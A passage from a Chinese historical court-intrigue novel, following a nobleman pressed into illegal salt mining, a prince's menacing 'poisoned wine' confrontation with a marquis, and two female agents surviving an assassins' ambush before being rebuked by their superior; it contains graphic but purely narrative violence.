“气不过你就去杀了陛下。”景思娴抓住叶崇的衣襟,“别跟个懦夫一样,只会冲无辜的人发脾气。”
叶崇的眼泪打在景思娴的虎口,像针一样扎在她心上。
景思娴坚定地说:“我不会跟你走的。在我与表哥和离之前,我不会离开王府的。”
“可是我们……”
“你想过后果吗?如果我、你逃了,岷王府、靖国公府、澄阳侯府,会是什么下场?你愿意把自己的家人往火坑里推吗?”景思娴有些责怪的意味,“我们能在一起,我已经很满足了。”
叶崇哽咽道:“娴儿……”
“我不想害了他们。”景思娴说,“慕之,你不要总跟个孩子一样,好吗?”
叶崇不甘心地沉默着。
“这回你去潼裕,好好帮殿下,不光是为你,也是为了澄阳侯府。”景思娴握住他的手,“等你回来,我还有话对你说。”
叶崇问:“不能现在说吗?”
景思娴摇头:“因为这些话,我一定要等你平安归来……才能告诉你。”
叶崇破涕而笑,他乖乖地点头:“我一定会的。”
景思娴帮他整理好衣襟,说:“走吧,要赶路。”
叶崇依依不舍地吻了她的额头。
“粘呢。”景思娴把他往外推,“快走。”
叶崇一步三回头,景思娴像驱赶小狗似的往外轰他。直到叶崇关上门、走远了,景思娴才肯哭出声。
她想对他说,他们不会有以后了。
—
叶崇来到了丘州。
天黑黑,雾浓浓,雪濛濛。
雪花屋里地向下飘,落在冻死的人的尸体上,慢慢地将她掩埋。很快,就又有一个气息奄奄的小女孩,躺在了雪地里。
她抓住了身边女人的手,往跟前凑了凑,把她的手塞进自己的怀里。僵硬的手像木头似的,蹭得她骨头疼,女孩低声呜咽着:
“娘……娘……醒醒呀……”
叶崇像是被钉在了那动弹不了——这样的人,丘州有千千万万个。就他身上那点钱,救得了这一个女孩,但救不了所有人。
叶崇的身后响起了琵琶声,有歌伎唱着:“银面镜里春易老,青丝懒理为谁妍……”
他回头往上看,那歌伎恰好垂眸往下看,她的双眼被人剜了去,两个大血洞正汩汩地往外流血。
她对满目疮痍的山河流下了血泪。
“我赢了!你,你输了!我来——割……”那女子身后出现了一个圆胖的男人,正拿着刀子,在她脸上蹭来蹭去。
歌伎吓得直叫:“孙大人!您饶了我吧!”
“鼻子!”男人手起刀落,把她的鼻子割了下来。
歌伎疼得哭都没了声音。
“继续唱!”男人发了话,随手又传来摇骰子的声音。
“王孙多情似露水,暮去朝来,青春不再……”
“开!大!我又赢了!”
歌伎恐惧地回一下头,之后便抱着琵琶,逃也似的跳了楼——在叶崇面前摔出了脑浆,血染红了白雪地。
歌伎跳了楼,但路过的人还像鬼一样来回游荡,大家都在等死,没人关心她是否还活着。
叶崇以为自己下地狱了。
他在那站了很久,才想起要往前走。他路过了粥棚,粥稀得像水。但每一个接过粥的百姓都无比感激:“谢谢屹王——谢谢屹王——”
“疯了。”叶崇低声说。
“你干什么的!”不知道从哪窜出来一个当兵的,一把从后抓住了他的衣领。
叶崇刚要冲拳给他一击,转念一想自己是“流民”,不能跟他们打架。
“军爷……”叶崇模仿的潼裕口音倒挺像的,“俺来投奔亲戚。”
当兵的问:“你亲戚哪的?”
叶崇嘟嘟囔囔地说:“俺就知道俺姐在这边唱戏,俺也不知道她在哪。”
当兵的把他下巴抬起来:“长得挺俊。”
他捏捏叶崇的肩膀,满意得笑,露出了一嘴的黄牙。他揪着叶崇衣领,要带他走。
“军爷!军爷!”叶崇奋力挣开他,“你要带俺上哪去!”
“听我说,你觉得找不到你姐。倒不如跟我走,”当兵的把他往粥棚后边推,吼道,“过去!”
叶崇脚底打滑,几乎是让他甩到粥棚后边的。到那一看,有很多像他一样的男人。
被抓壮丁了……
“俺不去!”叶崇大叫着往外跑,一脚被当兵的踹了回去。
“老实点!”
“俺要找俺姐……”叶崇余光扫过这几个人,穿的是普通战甲,应该不是屹王的兵
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“滚!”
叶崇被迫缩回去,找了个墙根一蹲,静观其变。
这帮人抓了十三个壮丁,那些兵还在街上晃悠寻找目标。叶崇心说这是要打仗了么,至于要这么多人?
一个三十多岁的男人在他旁边的位置蹲下,畏畏缩缩得像一只待宰的鸡。
叶崇回头看他,他丢了魂似的,盯着地面一言不发。
“还差多少个?”
叶崇抬头往远处看,说话的是一个又矮又胖、穿着猫皮大衣的老男人。他老鼠似的眼睛滴溜溜地扫过壮丁们,捏着他下巴上的黑痣上的长毛,嘴里嘀嘀咕咕的。
兵说:“就差俩了。”
“快点。”耗子男说,“老爷等着呢。”
“等啥呢。”叶崇低声说,余光注意着身边男人的举动。
“等当兵的把人抓齐。”
叶崇往他身边凑了凑:“大哥,咱这是要去打仗吗?”
男人叹息:“哪有仗打?”
叶崇:“不打仗抓啥壮丁?”
“挖盐。”男人说,“你外地的吧?”
叶崇挠脑袋:“俺来投奔亲戚。”
“你走不了了。”男人小声说。
“为啥啊哥?”叶崇又往他跟前凑,“给官府挖盐为啥回不来?”
“挖私盐,”男人瞥了耗子男一眼,“去了就回不来。”
“那是要杀头的!”叶崇害怕地说,“俺要走……”
男人把他拉了回来:“走不了!抓你的是兵!”
叶崇呢喃道:“他们是一伙的……”
“老实点,兴许还有活路。”男人担忧地看当兵的,“你现在逃,肯定能让他们打死。”
叶崇在粥棚后边带了多半个时辰,当兵的终于抓齐了壮丁。耗子男拖着麻绳,串蚂蚱似的把叶崇他们拴起来。耗子男眯着眼过了遍人数,吩咐道:“走!”
这一路走了十多天,耗子男把他们带到了盐湖。
盐湖四周环山,唯独北面缺了个口子。风从山口里灌进来,就算叶崇的棉布短衣里夹了层貂皮,也冻得他牙床疼。西边山脚下有几排破帐篷,耗子男说,盐工都住在那。
盐工分为两拨,刚来的要赤脚下湖挖盐,但天寒地冻,人坚持不了几天,腿就坏了。之后,他们就会转移到岸上炼盐,稍微没那么痛苦了。
第一天,叶崇让耗子男一鞭子赶下了湖。
冰凉的湖水立即浸湿了他的衣裤,又冷又重,身上像扛了两片冰铠甲似的。叶崇倒吸冷气,转身想往岸上跑。结果岸上全是提鞭子的监工,跑也跑不了。
叶崇叫天天不应叫地地不灵,望着青白色的湖水,心中大骂死水怎么不结冰。叶崇后悔死了,虽说他是在军营里长大,可这泡冰水的苦他那里吃过?就不该在街上看热闹,就不该老老实实地让人抓,就不该听萧沃的来潼裕。迟早得死在这深山老林里……
“官府来了!跑!”
这时有人在背后拉了他一把,叶崇棉衣湿透了根本跑不快。这时他听见了一声枪响,拉他的大哥脑袋炸开了花,血溅了他一脸。
叶崇怔然看向举火铳的人,吓得眼珠子快蹦了出来。
36. 叶雷
叶崇走后第十天。
岷王府内,气氛阴沉得能挤出水来。
赛珠秀来王府搭台,唱的正是《西厢记》中“长亭送别”这一折。
萧沃坐在暖厅中,身上是一张完完整整的白虎皮。他怀抱一把小巧的碧玉如意,闭眼听曲儿,无比惬意。
而在他的右侧,澄阳侯叶雷紧皱眉头,抬头想对萧沃说点什么,见他没赏脸,又退了回去。
“碧云天,黄花地,西风紧,北雁南飞。晓来谁染霜林醉?总是离人泪①……”
萧沃跟赛珠秀的唱词摇如意,浑然“忘了”叶雷求见。
叶雷站了得有半个时辰,萧沃都没有赐座的意思。
叶雷扭扭了脚腕,眼冒金星,看赛珠秀的戏服都开始掉火彩了。
萧沃将如意放到茶桌上,赛珠秀识趣,停下不唱了。萧沃一挥手,她便带着人一块退了出去。
叶雷拱手,开门见山道:“岷王殿下,求您放过犬子。”
萧沃喝了一盏茶,抬眸冲他笑:“侯爷这是说哪里的话?本王与令郎无冤无仇,何来‘放过’?”
叶雷的腰弯得更低了:“十日前,犬子不辞而别,至今杳无音信……”
“哦?”萧沃问,“所以你就要到本王府上找孩子?”
叶雷跪下,恳切道:“殿下,求您看在臣的份上,高抬贵手。”
“——我高抬贵手?”萧沃冷笑,“本王真是人在家中坐,祸从天上来。本王与您并无交集,平日里,岷王府与澄阳侯府也没有来往。毕竟有那档子事在——本王懂得避嫌。”
萧沃指的是景思娴过去与叶府解除婚约的事。
叶雷咽了口唾沫,顺着他说:“臣教子无方,给殿下惹了麻烦。”
“等等……”萧沃侧眼看着叶雷,“澄阳侯,你说的话,本王怎么一句都听不懂?你不是要找孩子吗?怎么开始给本王赔罪了?”
叶雷跪下:“待犬子回来,臣一定——一定狠狠地教训他!可是殿下……臣就这一个儿子,臣确实娇纵了些,都是臣的错……”
萧沃抬起手,说:“本王听不懂你在说什么。”
叶雷跪得整个人都贴在了地上。
“孩子跑丢了,做父亲的着急,本王理解你。”萧沃话锋一转,“可是你不分青红皂白地跑到这来,万一让言官治本王个‘结党营私’的罪名,可怎么办呀?”
“臣走的偏门,没坐侯府的马车。”叶雷说,“臣不敢给殿下添麻烦。”
萧沃满意地说:“本王不在乎。”
叶雷又回到了那句话上:“求殿下……”
萧沃插了一块蜂蜜杏干吃,打断他:“你还没回答本王的问题。”
叶雷:“殿下……犬子失踪后,臣审了他的下人,说……说犬子与王妃……”
萧沃盯着他,叶雷不敢再说了。
气氛陡然冷得能结霜。
萧沃皮笑肉不笑:“叶崇与王妃怎么了?”
叶雷咬咬牙:“犬子……叶崇,他胆大包天——他竟敢勾引王妃,坏了王妃清誉——”叶雷实在编不下去了。
萧沃侧眼看着他,先冷笑,之后大笑不止。
“这时候又得说了,一个巴掌拍不响,”萧沃跷二郎腿,“明明是两个人的事,为何非得把罪名都摊在小侯爷一个人身上?就因为她是岷王妃?”
叶雷惊恐不已:“臣万万不敢!”
萧沃递给叶雷一只酒杯,端起身边的酒壶,给他斟酒:“这两心壶中一种有毒的,另一种是没毒的。叶侯,你猜,我给你倒的这杯,是有毒的还是没毒的?”
叶雷手开始抖,他抬眼盯着萧沃,迟迟未动。
“你是不是觉得,本王不敢杀你?”萧沃笑,“你堂堂澄阳侯、禁军统领,而本王一个刚出大狱、不受人待见的皇子,哪来的胆量杀你?”
叶雷把酒杯凑到了自己唇边。萧沃笑眯眯的,话里话外的意思都让人害怕。他敢怒不敢言,也不敢喝下这杯酒。
“前几日本王回府,恰好遇见了个不该遇见的人。”萧沃玩味地叹息一声,“本王自己又犯了疯病,提剑一看,你才那狂徒是谁?”
叶雷冷汗直流。
萧沃问:“叶侯,你就不好奇吗?”
叶雷看着那杯酒,迟迟不敢喝。
“你问本王,叶崇去哪了。本王不知,但本王知道——那狂徒的下场。”萧沃忍着笑,“说实话,我可不敢给澄阳侯下毒。但我敢给闯府的贼人下毒。”
叶雷瞳仁骤然紧缩。
萧沃托住了叶雷的酒杯,慢慢把它往上抬,叶雷与那酒近在咫尺,酒香到他鼻子里都成了诡异的尸臭味。
萧沃说:“本王亲自倒的酒,叶侯为何不喝?”
叶雷结结巴巴地说:“臣……臣……”
“你敢来我府上,不就是猜准了本王是个软柿子,不敢拿你们叶家人怎样?你叶侯服个软,本王不得好声好气地把人还给你?”萧沃仍托着他的酒杯。
叶雷:“臣……恳请殿下,放了臣那个不争气的儿子。”
“可怜天下父母心。”萧沃再往上抬了抬酒杯,马上就要把酒灌到叶雷喉咙里了,轻飘飘地说,“你说你,这不是咎由自取吗?早点管好孩子,也就不至于到我府上点头哈腰地求饶了,不是吗?叶侯。”
叶雷盯着他的眼睛,抱着必死的决心似的:“您答应臣,放了慕之,好吗?”
萧沃只是笑。
叶雷的眼泪掉进酒杯里:“求您了。”
萧沃说:“敬酒哪能不喝?”
叶雷一咬牙一闭眼,把酒咽了下去。清冽的酒却灼得他嗓子疼,叶雷瘫坐在地,他愤恨地闭着眼,却不敢说忤逆萧沃的话。
他盯着萧沃,这是他平生第一次,或许也是最后一次如此仔细地观察这位大殿下:他长得与孝仁皇后景怡一模一样,清秀、文静,像辽北的梅花鹿那样漂亮,尤其是那双眼睛,藏着悲切,藏着怜悯。他温良亲和,从长相到性格,都与跋扈阴鸷的萧家人格格不入。
叶雷还记得第一次见到他的场景,景怡抱着他,站在城楼上迎接自己与景皑班师归朝。萧沃与景怡长得那么像,像到即便今日萧沃杀了自己,叶雷也不会冤、更不会恨。
“你在想什么?”萧沃望向庭中,偶有雪花飘落,像给大地蒙了一层白纱。
“臣在等。”
萧沃:“你有没有要说的?
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”
“臣……没有。”
萧沃轻笑: “你是怕叶崇出事,还是怕他投靠了本王?”
叶雷顿时紧张起来:“臣都怕。”
“你觉得,本王没法成为叶家的靠山,对不对?”萧沃讥诮地说,“也对,本王的疯病连太医都治不好,将来老二登基,我的下场不是圈禁就是死,为何要投靠本王,这不是把全家人往火坑里带吗?”
叶雷无力地说:“臣从未这么想过。”
“全京城的官都这么想。”萧沃说,“叶侯,没必要骗本王。”
“臣知道,殿下没有疯病。”
萧沃却说:“本王有。”
叶雷摇头:“殿下只是太爱自己的家人。”
萧沃眼眶酸涩:“自以为是。”
叶雷安慰他:“诸皇子的所作所为,陛下都看在眼里。殿下的难,陛下心里都清楚。”
“你不必说些没用的话安慰我。”萧沃说,“有的父子是父子,有的父子是仇人。今日这出长亭送别好看么?送给你的。”
叶雷:“殿下——”
“他被我送去了潼裕,你放心,人还活着。”萧沃说,“他犯了天大的错,本王都会给他兜底,在他回来之前,你这个为人父的必须老老实实地装作一切都没发生。否则,你、我还有景家,都不得好死。”
叶雷惊讶得都不知说什么好。
萧沃递给他一只手帕:“擦擦眼泪。”
叶雷抬起头,伸出手想把手帕接过来,又立刻把手缩了回去。
“酒里没毒。”萧沃嗤笑,像个做恶作剧成功把大人吓到的孩子一样。
叶雷接过了他的手帕,这才颤颤巍巍地站起来,说:“这出戏……唱得好。”
“请你瞧点好的,”萧沃说,“你要是在磬音楼,有钱都未必能请赛珠秀给你唱一出。”
叶雷问:“殿下为何要让慕之去潼裕?您……还没放下吗?”
萧沃无奈地笑:“本王问你,哪些人手下会有火铳?”
叶雷答:“禁军的神机营和屹王亲军。”
“对啊,连靖公军都没有火铳。”萧沃从袖中抽出一封密信给他,“叶崇却说,官府在查抄私盐贩子时,用火铳杀死了大部分盐工。”
叶雷反复看密信,确定是叶崇的笔记:“殿下的意思是,这些……是屹王殿下的人?”
萧沃脸色阴沉:“你看的是第二道密信,而第一道中却说,官府为私盐贩子上街抓壮丁。本王不明白,这‘官府’为何还有两幅面孔?”
叶雷说:“一面帮又一面抓,显然不是一伙人干的。”
萧沃不大相信:“是吗?”
叶雷:“贩私盐可是要杀头的罪过。屹王殿下在潼裕查贪,从贪墨官员查到私盐贩子,实属正常。”
“正常——?叶崇可说,官府抓壮丁都是明目张胆。”萧沃笑,“老二不是查得如火如荼吗?若你在他治下,你敢让手下直接跑到街上抓壮丁吗?”
叶雷心中有个答案:“臣愚钝,还请殿下明示。”
萧沃摇了摇头:“你要问叶崇的下落,本王告诉你了。该怎么做,叶侯心里清楚。请慢走,本王便不送了。”
37. 邀约
腊月二十,吴泪家中。
“我们的人被杀了。”吴泪捂着脑袋,止不住地叹息。
兰见春疑惑道:“朔院的人也会被杀吗?”
吴泪翻开手头的文件,又马上合上扔到了一边:“她们在乡间走访,调查各州税收情况。大概是动作有些大,引起了他们注意。还有十天就过年了,我的人都杳无音讯。”
兰见春说:“我可以作证。”
吴泪摇头:“我们只有你一个人,证据不足,陛下不会信的。也罢,左右潼裕这几个人活不了,就只能不明不白地被杀了。大殿下那边有消息吗?”
兰见春摇头:“我已经很久没见过殿下了。”
“听闻王妃抱恙,殿下闭府照顾王妃。”吴泪说,“十多天了,岷王府不见客也不开门……怪呀,是不是出了什么事?”
兰见春垂眸,她猜是因为上回萧沃跟她说的那件事。
“咚咚咚……”有人敲门,吴泪做了个噤声的手势。
“姑娘,磬音楼送来请帖。”
吴泪站起来,回头示意兰见春不要跟过来,开门接过请帖。红彤彤的的信封上写着“同知亲启”四个字。以往磬音楼请帖都做成折子,这回变成了封口的信。吴泪察觉出不对劲,说:“我知道了,你下去吧。”
侍女离开后,吴泪左右顾盼,才关上门,拆了请帖,里面竟又有一封信。
“是大殿下的字迹。”吴泪紧张地说。
兰见春趋步过来,吴泪剥洋葱似的把信拆开:
萧沃:“子时三刻,磬音楼,要事。”
吴泪抓着兰见春的手:“见春,你随我一起去。”
她们从吴泪家中的密道逃出,各骑一马匆匆向磬音楼去。街上空无一人,马蹄踩过湿润柔软的雪泥,溅起阵阵黑点。吴泪在前跑,兰见春在后,目光所及之处皆无一人,但她心里不踏实。
兰见春时不时回头,街道在快速后退。她俯下身,把缰绳抓得更牢些,眯起眼盯着身后——“哒哒哒……”
好像脚步声。
她勒马,抬起头往楼上看——没有人,“哒哒哒”的声音也停止了。
难道听错了?兰见春调转马头,跑入身边的一条巷子。这不是通往磬音楼的路,而是指向屹王府。
兰见春不停地抄近路,而她听见脚步声越来越快越来越碎,忽然眼前一暗,身||下的马顿时仰蹄,她抓紧了缰绳才没有被它甩出去。
——巷口有两个黑衣刺客,她向后看,左右两侧围墙上亦有两名刺客。
兰见春拔出了身侧的梅隐,单手持缰,缓缓地往后退。这帮人用黑布蒙面,连是男是女都看不出。
果然有人盯着自己……
那帮人把她压到了巷子口。马踩到滑泥,一个踉跄差点人仰马翻。兰见春心里像揣了兔子似的颤抖,她从来没有与人刀剑相向过,虞水的死近在眼前,她很害怕。
空气霎时冻住了,连呼出来的气都凝成了白霜落下。不过六尺宽的巷口,前后左右四个方向都被他们堵死了,他们吊在那,黑漆漆的四条跟鬼一样。他们手中的刀倒映着月光,白晃晃得像人的骨头。
兰见春的心跳如战鼓擂,眼前不断地闪现虞水被人踩在脚下、脑浆崩裂的场景。手心里全是冷汗,就快抓不住梅隐了。马不安地跺脚,它脚下的雪泥不断地发出惨叫。
今天她必须这么做,业已无路可退。
寒光乍现,面前的刺客率先发难,两道白影像闪电,一左一右飞扑过来,直取兰见春的咽喉!
兰见春喉头绷紧,猛地一勒缰绳,马匹受惊前蹄扬起,恰好避开了左边袭来的刀锋。同时,她抬起右手,轻盈的梅隐向下斜刺,恰好与刺客的刀擦锋而过——
电光火石间,“铛”的一声巨响,兰见春手臂被震得发麻,整个人都被刚才那一刀拽下了马,后脑勺着地,摔了一身泥!
此时,在她身后的刺客从天而降,刀尖像针一样往下扎,擦着她的肩头掠过,兰见春惊得立马挑起,却还是被那一刀割破了肩膀,凉风马上灌进了衣服里。
她倒吸凉气,抓住马腿,再次站了起来。
她盯着那些刺客,步步后退,后背撞上了墙,她大口呼吸着,双手握紧了梅隐,眼冒金星。她提刀挡在自己身前,她很害怕短兵相接,刀刀相撞的声音,能震碎她的耳膜,让她变成一个聋子。
而那些刺客不容人喘||息,成合围之势,杀向了她。一人奋力跳起,挥刀直劈她头顶,另一人则从下窜过来,斩向她的双膝!
兰见春瞳孔骤缩,猛地俯身,主动出刀,勉强架住了下方的攻击,她的马被吓得发出一声嘶鸣,顿时人立而起!
兰见春马上向身侧躲闪,把刀扔向半空、反手握住,勾住上方飞来的一把刀,把那刺客往身下一拖——拖到了马下!
马落蹄,踏碎了那人的胸腔!
肉块溅到了兰见春身上,她懵了,又往后退。马被吓得发疯,触电似的一直跳,兰见春向巷子外逃,两个刺客又追了出来。
她持刀格挡,可架不住两个人的力气,刀瞬间就被震飞了,“咣当当……”滚向了雪堆里。兰见春摔倒,一屁股坐在了地上里,糊了她一身泥。她挣扎着想爬起来,手臂却麻得发疼。
其中一个刺客一个飞踢,踹向她的胸口,兰见春顿感窒息,喘不上来气了。她伸出手,想抓住雪堆里的梅隐,却是徒劳。
另两个刺客高高举起刀,对准了她的心脏——兰见春绝望地闭上了眼睛。
完了……全完了……
“嗖——!”
兰见春听见了箭头刺进肉的声音,顿时,一股温热洒在了她脸上。她睁开一只眼,眼前的刺客目眦尽裂——脖子被一支箭贯穿。他眼里顿时没了光,软软地向前扑倒,重重地砸在兰见春身边,溅起一片血泥。
剩下两个刺客吓得往前看,此时,又一声箭响,其中一个被射穿了头颅!
“见春!”
是吴泪!
“我在这!”兰见春连滚带爬,把梅隐捞了回来。
吴泪策马而来,她衣袂翻飞,像准备扑杀
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猎物的隼,也像天降神兵,再次搭箭上弦,那刺客躲闪不及,让那支箭刺中了右侧肩膀!
兰见春又提起了勇气,强忍着剧痛,把手中的梅隐朝那刺客扔了过去,恰好刺中了他的后心!那刺客没力气跑了,像断线的木偶似的瘫在地上。
兰见春大步跨过去,抽出刀又砍向他脖子,血洒了一圈,这人是彻底没了。
吴泪下马,骂道:“你疯了吗!”
兰见春没听见似的,提着刀就割那人的衣服。
吴泪拦住她:“你这是干嘛?”
“记号……”兰见春呢喃道,“我不知道他们是谁派过来的。”
“你怀疑他们——与之前害过你的人是同一批?”吴泪把弓背到身后,从靴子里抽出小刀,也跟她一块扒这帮人的衣服。
可就算把他们底裤都扒干净,兰见春都没有找到烫伤疤。这帮人身上光溜溜的,没有任何记号。
吴泪累得瘫在她身边:“不是同一批人。”
兰见春一直喘气,好不容易才回过神,问:“会不会是晦院的人?”
吴泪摇头:“晦院刺客的出入调动,司丞那里都会有记录。上回闹了这么一出,连云栈不敢对我做什么,她扛不过司丞那关。”
兰见春止不住地咳嗽:“怪了……”
她们望着天空,雾霭浓浓。
“半路我发现了他们,所以特地把他们往屹王府领。果不其然,他们在快到王府时,对我下了手。”兰见春说,“既不是晦院也不是‘上位’的人,那还有谁会如此关心我们的行踪?”
吴泪闭上了眼:“潼裕的案子,真是越来越难办了。”
兰见春问:“同知见到大殿下了吗?”
“还没。”吴泪不开心地推了她一把,“我走半路发现你人没了,你知道我多害怕吗!我赶紧过来找你,在这边绕了不少冤枉路!那人差点就把你杀了,我要是来晚了怎么办?”
兰见春叹了一声:“那我就交代在这了……”
吴泪咽了口唾沫,说:“潼裕的案子还没结束,你不能不明不白地死了。”
兰见春望向吴泪,心里暖烘烘的:“谢谢同知。”
吴泪侧眼看她:“晦朔司的人不能擅自行动,知道吗?”
兰见春认真地说:“我明白了。”
吴泪伸出两指夹她的脸颊,说:“下不为例。”
兰见春点头,吴泪为她担心,她清楚。两个人藏在巷子里休息,像两只受伤的狼偎在一起。她们怕再次暴露行踪,选择放了萧沃的鸽子。
兰见春抬头望天,但笼着厚厚的一层雾,她见不到青天。
“潼裕的水越来越浑了。”吴泪叹息,“我有种不好的预感,如果我们再查下去,都会丢了性命。”
“我也这样感觉。”兰见春遗憾地说。
“咻!”
她们猛地抬起头,只见一支箭插在了她们对面的墙上,箭头还挂着一个字条。她们往上凑——是萧沃的字迹。
“潼裕盐务,官商勾结,有火器。”
38. 勒令
她们二人原路返回,回到吴泪家中,却发现乔竹心等在这里。吴泪与兰见春警铃大作,乔竹心为何在这?难道适才那些刺客,是司丞的人吗?
乔竹心站在庭前,等她们向自己走过去。吴泪止步,与乔竹心对视。乔竹心一言不发,脸色阴沉,失望地叹气。
双方僵持很久,最后还是乔竹心拉下来脸面,走到了吴泪面前,问:“你有没有话要对本官说?”
吴泪反问:“司丞觉得,下官应该有什么话要说?”
乔竹心转向兰见春,问:“你们今晚干什么去了?”
吴泪抢在她前面说:“我们——”
“本官问的是兰见春!”乔竹心冷声打断吴泪,“晦朔司的规矩都忘干净了吗!”
兰见春频频看向吴泪,她根本不知道该怎么回答乔竹心。难道要实话实说,自己大晚上去找大殿下了?这跟自首有什么区别?
可她根本不会撒谎,就自己那点心眼子,编的谎话能骗得过乔竹心?
“司丞……”兰见春像个鹌鹑似的,头快扎进地里了,“下官……”
乔竹心冷道:“实话实说,这不是晦朔司。”
兰见春用袖子擦汗,不敢说话。
“你们究竟去哪了?两个人都弄成得这么狼狈。”乔竹心盯着兰见春,一眼就要把她看穿似的,“我若什么都不知道,我现在能站在这吗?兰见春,我命令你,告诉我实话。”
兰见春看向吴泪,吴泪把头扭向了一边。她没招了,只好交代:“我们本要去见大殿下,半路发现有人有人跟踪,我们甩掉了他们……我们不敢再去找大殿下,正要回,却收到了殿下送来的字条。”
兰见春摊开手掌,里面是被她揉烂的字条。乔竹心把字条摊开,草草看过之后,恨铁不成钢地指着她们:“胆肥了你们!”
吴泪说:“司丞出现在这,下官很难不怀疑,追杀我们的就是司丞的人。”
“闭嘴!”乔竹心咬牙切齿地说,“你竟敢怀疑我会下手杀你!你不知道你这是在干嘛?你要把你们两个人都害死!”
吴泪稍微抬高了声音说:“可潼裕的案子本来就没那么简单!我在给您的密信中都说了,缴上来的钱根本对不上号,晦院里关的人都是替死鬼!我不想让这件事就这么不明不白地过去,我没办法,我只能跟大殿下结盟!何况大殿下已经查出来潼裕的盐务有问题,司丞您为何不向陛下请旨,由我们晦朔司彻查本案呢!”
“因为我不想让你死!”乔竹心说,“大殿下如何争都是为他自己,有靖国公替他收拾残局!你呢?你有家族为你兜底吗?你小心出了错,连我都保不住你!”
吴泪倔强地说:“我没有那么傻,老师,这件事我从来没想过快速解决。”
吴泪唤她为老师。
乔竹心的目光霎时温和下来。
“你就不该搅和!”乔竹心压低了声音问,“你知道今天盯你们的人是谁吗?你们又知不知道,我为何能这么快收到消息?”
吴泪:“难道今天拦我们的是您……”
“蠢货!”乔竹心幽幽地叹息,“要不是我整日派人盯着你俩,我都不知道你们胆大包天到这个地步!——派人杀你们的,是陛下……”
她们感觉被一道雷击中了一样,兰见春愣了,吴泪更是说不出话来。
“陛下的人盯兰见春,而我的人盯你。”乔竹心对吴泪说,“要不是我的人提早察觉,及时赶回来通风报信,我都不知道你俩把脑袋伸到了陛下那!”
怪不得那些人身上连个记号都没有,原来是陛下的人。
兰见春害怕地问:“司丞,陛下为何盯着我?”
乔竹心:“你是谁带进京的不清楚吗?”
兰见春不明白为何皇帝要对自己的儿子有那么大的疑心。
“岷王府里生了变故,大殿下这几日都不曾出府。”乔竹心气得上气不接下气,“蠢货——两个能吸干天下浊气的蠢货!一封信就能把你们勾到磬音楼,那若是别人仿的字迹该怎么办?!你俩就得死在外面,懂吗?”
兰见春脑子转得都开始疼,战战兢兢得要给乔竹心跪下了。
“庆幸你俩逃过一劫吧。”乔竹心敲她俩的脑袋,“一天天多少双眼睛盯着你们,虞水的教训还不够吗!”
兰见春被她敲的脑壳疼。
“那这字条上的东西能信吗?”吴泪说,“那人把字条绑在了箭头上。”
乔竹心从怀中掏出个火折子,把字条烧干净了,轻声说:“是真的。”
吴泪急道:“那就不能不查啊老师!潼裕蒸发了那么多钱,被拿去干什么了,我们都不知道。盐务有问题,那些人为何要屠杀整个吴沟村,这其中是否有关联我们都没有查清楚。或许章玉良知道什么,或许我们还能从这些人身上发现些什么——老师,我们不能退!”
“要偏袒屹王的是陛下。”乔竹心小声说,“陛下为何要在年前结案,就是为了给他擦屁股,尽快把这件事揭过去!你们不要再飞蛾扑火了!”
吴泪不甘心地别过头,她不想放弃。
乔竹心劝道:“你和大殿下结盟,与结党营私何异?大殿下咬着不松口,那是他与二殿下的储位之争,我们晦朔司不能搅合……吴泪,你要让我跟你说多少遍?”
“司丞,那我们应该怎么办?”兰见春问,“就此揭过吗?”
乔竹心点头:“在大殿下查出来更多的线索之前,顺着都察院、刑部的意思走。该剐的剐该杀的杀,不要继续查,一定要装聋作哑!记住,有事,让岷王的人往前冲,我们晦朔司帮的是陛下,不是皇子!懂吗?!”
吴泪默不作声,兰见春倒说:“明白了,老师。”
乔竹心失望地瞪了一眼吴泪,吩咐道:“明日,你就告病吧。这段时间,不要回晦朔司了,在家陪陪你父亲。”
“老师,您这是要我支开吗?”吴泪质问,“您不能这么做……”
“你都快陷进去了,我再不拉你一把,你迟早要步你娘的后尘!”乔竹心挥一挥衣袖,“你老老实实地在家待到年后,不要再折腾了,听懂了吗?”
乔竹心提到了
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她娘,吴泪眼睛发酸,又把头别了过去。
“兰见春,你还是回你的废件室。该干什么干什么,初入晦朔司,不要到处掺和打打杀杀的事。”
兰见春嗫嚅:“全听司丞安排。”
“这段时间,朔院的活我替你处理。”乔竹心把吴泪拉到自己跟前,“你要是有个三长两短,我就是对不起你娘。别逼我把你锁家里,听话。”
吴泪甩开乔竹心,愤然向自己的卧房走去。她觉得现在退,就是投降。
乔竹心泄了口气,指兰见春:“你,跟我回官署。”
“好。”兰见春碎步跟在她身后。
“一个两个全疯了!”乔竹心回头看兰见春,“你亡夫的事,吴泪都跟我说了。我同情你,但你也明白,这件事牵扯甚广,甚至连陛下都不愿意查。”
兰见春咬紧嘴唇又缓缓松开,微微点头。
“我懂你,但这件事,晦朔司真的无能为力。”乔竹心说,“吴泪的母亲是上一任司丞,也是我的老师。她就因追查力剌与我朝官员勾结一事,搅进了前朝的夺嫡之争,最终死于嘉泽废太子之手。结果到了吴泪这,又要掺和皇子之争。前车之鉴放在那,后人岂有继续踏过去的道理?”
兰见春一直点头,眼泪大颗大颗地往下掉。乔竹心看她的模样,万分不忍:一个女子,孤苦伶仃,为了讨回公道来到京城,又阴差阳错地搅进储位之争。
“我奉劝你一句,大殿下帮你,亦是利用你。”乔竹心把自己的手帕递给了她,“我们晦朔司是为陛下效力的地方,你若有二心,只有死路一条。”
兰见春一味地点头,她没接乔竹心的手帕,用手背抹眼泪:“我明白了,司丞。”
“这段时间就住在官署里吧。”乔竹心说,“废件室里东西很多,年前要清理一部分。”
兰见春使劲点头。
乔竹心把她带回了官署,这一路兰见春都不说话。
“帮你,也是利用你”兰见春想反驳乔竹心,萧沃帮她并非利用,他们有更重要的事情做。但这话说出来太可笑了,可笑到兰见春自己都听着像谎话。
这一路走到现在,兰见春好疲惫。
晦朔司的规矩像钢铁一样不可摧,那么多双眼睛在身后盯着自己,一举一动都有可能招来杀身之祸。
她就想要一个公道,为何这么难?
就想让真正的杀人凶手付出代价,为何这么难?
偌大个上京城,竟没有一个能说理的地方,一步步为何都走得那么难?
这一局结成了个死结,打不开,破不了。
废件室的灰往脸上扑,她挨个点燃了烛火,驱散了一点点黑暗。她回到自己的书案旁,借烛火映亮上面的字迹。她看着看着眼睛就湿润了,肩膀好疼。
“受伤了吗?”有个人问。
兰见春猛地拔出刀,对半空胡乱地砍。
“是我,荫槐。”
从书架的缝隙中缓缓出现一个黑影。
兰见春把刀尖对准了他,哽咽道:“擅闯晦朔司者,杀……”
39. 分别
“我就在这,等你来杀我。”萧沃望着她,眼中好像藏了汪洋。
——大殿下帮你,亦是利用你。
